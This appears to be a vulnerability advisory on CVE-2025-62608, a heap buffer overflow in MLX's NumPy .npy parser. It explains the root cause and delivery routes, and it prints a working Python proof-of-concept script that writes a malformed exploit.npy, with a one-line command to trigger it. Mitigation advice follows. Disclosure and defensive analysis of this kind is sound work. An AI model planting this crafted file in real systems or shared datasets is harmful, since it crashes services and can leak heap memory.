MLX ≤ 0.29.3 Heap-Based Buffer Overflow in NumPy Parser (CVE-2025-62608)

Content

🔥 Introduction

Machine learning frameworks are increasingly becoming part of critical systems, from data science pipelines to AI-powered production environments. While these frameworks are designed for performance and flexibility, they often process complex file formats that may introduce security risks if not handled correctly.

In this research, we analyze a heap-based buffer overflow vulnerability (CVE-2025-62608) affecting the MLX framework (≤ 0.29.3). The flaw is triggered during the parsing of NumPy .npy files and can lead to memory corruption, application crashes, and potentially sensitive data leakage.

🧠 Technical Overview

• Vulnerability Type: Heap-Based Buffer Overflow (CWE-122)
• Affected Software: MLX ≤ 0.29.3
• Fixed Version: 0.29.4
• Attack Vector: Malicious .npy file
• User Interaction: Required (loading file)

The vulnerability exists in the internal implementation of:

mlx::core::load()

This function is responsible for parsing .npy files, which are widely used for storing NumPy arrays.

⚙️ Root Cause Analysis

The issue originates from improper parsing of the .npy file header:

1. The parser reads a fixed-length header (118 bytes).
2. A null byte (\x00) inside the header prematurely terminates the string.
3. Subsequent operations assume the header is still intact.
4. The code attempts to access a fixed index (header[34]) without validating the actual string length.

This leads to:

• Out-of-bounds heap memory access
• Undefined behavior
• Possible crash or data leakage

This type of flaw is particularly dangerous in C/C++-based components where memory safety is not enforced automatically.

🚨 Impact

The vulnerability can have multiple security implications:

• Denial of Service (DoS): Application crashes due to segmentation faults
• Information Disclosure: Leakage of adjacent heap memory
• Potential Exploitability: In advanced scenarios, memory corruption could be leveraged further

Notably:

• No authentication is required
• The attack can be delivered via a simple file
• It targets applications processing untrusted machine learning data

🧭 Attack Flow

The exploitation process is straightforward but effective. Below is a step-by-step breakdown of how an attacker can leverage this vulnerability:

1. Crafting the Malicious File

The attacker creates a specially crafted .npy file:

• Embeds a null byte inside the header
• Ensures the parser misinterprets header length
• Carefully positions payload to trigger out-of-bounds access

2. Delivery Phase

The malicious file is delivered to the target via:

• File upload functionality
• Shared datasets
• Model repositories
• Email attachments or downloads

3. Victim Interaction

The victim unknowingly loads the file using MLX:

import mlx.core as mx
mx.load("exploit.npy")

4. Triggering the Vulnerability

• MLX reads the malformed header
• String truncation occurs
• Unsafe memory access is executed

5. Exploitation Outcome

Depending on memory layout and environment:

• Immediate crash (most common)
• Heap corruption
• Possible leakage of sensitive data

🧪 Proof of Concept (PoC)

The following script generates a malicious .npy file:

import struct

magic = b'\x93NUMPY'
version = b'\x01\x00'

header_content = b"{'descr': '<u2', 'fo\x00\x00\x00\x00n_order': False, 'shape': (3,), }"
padding = b' ' * (118 - len(header_content) - 1)
header = header_content + padding + b'\n'

payload = (
    magic +
    version +
    struct.pack('<H', 118) +
    header +
    b'\x00\x00\x00\x80\xff\xff'
)

with open("exploit.npy", "wb") as f:
    f.write(payload)

print("[+] Malicious .npy file created")

Triggering the vulnerability:

python3 -c "import mlx.core as mx; mx.load('exploit.npy')"

Expected Result:

• Segmentation fault
• Heap-buffer-overflow detection (if ASAN enabled)

🔍 Real-World Risk Scenario

Consider a machine learning pipeline where:

• Data scientists download datasets from external sources
• Automated systems ingest .npy files
• MLX is used for preprocessing or inference

An attacker could:

• Upload a poisoned dataset
• Embed the malicious .npy file
• Trigger crashes in production systems

This could disrupt services or expose memory data in shared environments.

🛡️ Mitigation & Recommendations

To protect against this vulnerability:

✅ Immediate Actions

• Upgrade MLX to version 0.29.4 or later
• Avoid loading .npy files from untrusted sources

🔐 Secure Development Practices

• Validate file structure before parsing
• Implement bounds checking on all memory accesses
• Use memory-safe alternatives where possible

🧪 Defensive Measures

• Enable runtime protections (ASAN, stack canaries)
• Sandbox file processing operations
• Monitor crashes and anomalies

📌 Conclusion

CVE-2025-62608 highlights a critical issue in machine learning ecosystems: data formats can become attack vectors. Even widely trusted formats like .npy can be weaponized when parsing logic is flawed.

As machine learning continues to integrate into sensitive environments, security must evolve alongside it. Developers should treat all external data as untrusted and enforce strict validation and memory safety practices.

This vulnerability serves as a reminder that AI systems are not immune to classic memory corruption bugs—and that secure coding remains essential in every domain.